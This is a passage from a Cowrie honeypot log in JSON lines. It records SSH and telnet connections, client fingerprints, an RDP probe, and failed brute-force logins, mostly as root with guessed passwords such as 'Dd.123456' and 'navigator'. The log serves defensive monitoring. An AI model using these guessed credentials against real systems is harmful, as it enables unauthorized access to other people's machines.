r","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:58.329048Z","src_ip":"103.176.20.57","session":"60df72c9bd3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753159753","message":"login attempt [root/159753159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:59.076027Z","src_ip":"103.176.20.57","session":"60df72c9bd3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:00.326511Z","src_ip":"103.176.20.57","session":"60df72c9bd3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":58906,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a202aee0a55","protocol":"ssh","message":"New connection: 181.188.176.245:58906 (10.17.0.5:22) [session: 1a202aee0a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:09.505603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:09.510486Z","src_ip":"181.188.176.245","session":"1a202aee0a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:09.677315Z","src_ip":"181.188.176.245","session":"1a202aee0a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9874","message":"login attempt [root/9874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:10.377691Z","src_ip":"181.188.176.245","session":"1a202aee0a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:11.548522Z","src_ip":"181.188.176.245","session":"1a202aee0a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":60726,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5d786e60a92","protocol":"ssh","message":"New connection: 43.128.102.61:60726 (10.17.0.5:22) [session: b5d786e60a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:11.737545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:11.742685Z","src_ip":"43.128.102.61","session":"b5d786e60a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:11.981065Z","src_ip":"43.128.102.61","session":"b5d786e60a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd.123456","message":"login attempt [root/Dd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:12.968925Z","src_ip":"43.128.102.61","session":"b5d786e60a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40998,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5218c413af1","protocol":"telnet","message":"New connection: 152.42.224.71:40998 (10.17.0.5:23) [session: d5218c413af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:13.655566Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:14.210053Z","src_ip":"43.128.102.61","session":"b5d786e60a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":35114,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00b77584aff","protocol":"ssh","message":"New connection: 103.172.78.219:35114 (159.203.135.109:22) [session: f00b77584aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:21.474676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:21.507241Z","src_ip":"103.172.78.219","session":"f00b77584aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:21.744430Z","src_ip":"103.172.78.219","session":"f00b77584aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dzxtckfd","message":"login attempt [root/dzxtckfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:22.785956Z","src_ip":"103.172.78.219","session":"f00b77584aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:24.052531Z","src_ip":"103.172.78.219","session":"f00b77584aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60888,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f42cdff334e","protocol":"ssh","message":"New connection: 109.237.96.109:60888 (159.203.135.109:22) [session: 9f42cdff334e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:33.998106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:34.003344Z","src_ip":"109.237.96.109","session":"9f42cdff334e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:34.093329Z","src_ip":"109.237.96.109","session":"9f42cdff334e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56330,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b35b9126baf","protocol":"ssh","message":"New connection: 167.172.81.52:56330 (159.203.135.109:22) [session: 1b35b9126baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:34.100296Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:34.104681Z","src_ip":"167.172.81.52","session":"1b35b9126baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:34.108133Z","src_ip":"167.172.81.52","session":"1b35b9126baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321654","message":"login attempt [root/321654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:34.367030Z","src_ip":"109.237.96.109","session":"9f42cdff334e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:35.460361Z","src_ip":"109.237.96.109","session":"9f42cdff334e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":61120,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c957e79db4d","protocol":"ssh","message":"New connection: 45.66.52.41:61120 (10.17.0.5:22) [session: 9c957e79db4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:38.163085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:38.167581Z","src_ip":"45.66.52.41","session":"9c957e79db4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:38.343903Z","src_ip":"45.66.52.41","session":"9c957e79db4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12151215","message":"login attempt [root/12151215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:39.329349Z","src_ip":"45.66.52.41","session":"9c957e79db4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:40.628285Z","src_ip":"45.66.52.41","session":"9c957e79db4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":36466,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7105416cce","protocol":"ssh","message":"New connection: 62.173.38.229:36466 (10.17.0.5:22) [session: fe7105416cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:46.074231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:46.140454Z","src_ip":"62.173.38.229","session":"fe7105416cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:46.340481Z","src_ip":"62.173.38.229","session":"fe7105416cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:47.042978Z","src_ip":"62.173.38.229","session":"fe7105416cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:48.245079Z","src_ip":"62.173.38.229","session":"fe7105416cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50916,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be350ed84cd","protocol":"ssh","message":"New connection: 80.94.92.184:50916 (10.17.0.5:22) [session: 1be350ed84cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:52.378957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:52.449133Z","src_ip":"80.94.92.184","session":"1be350ed84cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:52.655031Z","src_ip":"80.94.92.184","session":"1be350ed84cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:53.483837Z","src_ip":"80.94.92.184","session":"1be350ed84cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:48:54.735476Z","src_ip":"80.94.92.184","session":"1be350ed84cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":37120,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1919a0b941d","protocol":"ssh","message":"New connection: 43.128.102.61:37120 (10.17.0.5:22) [session: b1919a0b941d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:24.584392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:24.589557Z","src_ip":"43.128.102.61","session":"b1919a0b941d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:49:24.829792Z","src_ip":"43.128.102.61","session":"b1919a0b941d","protocol":"ssh"}
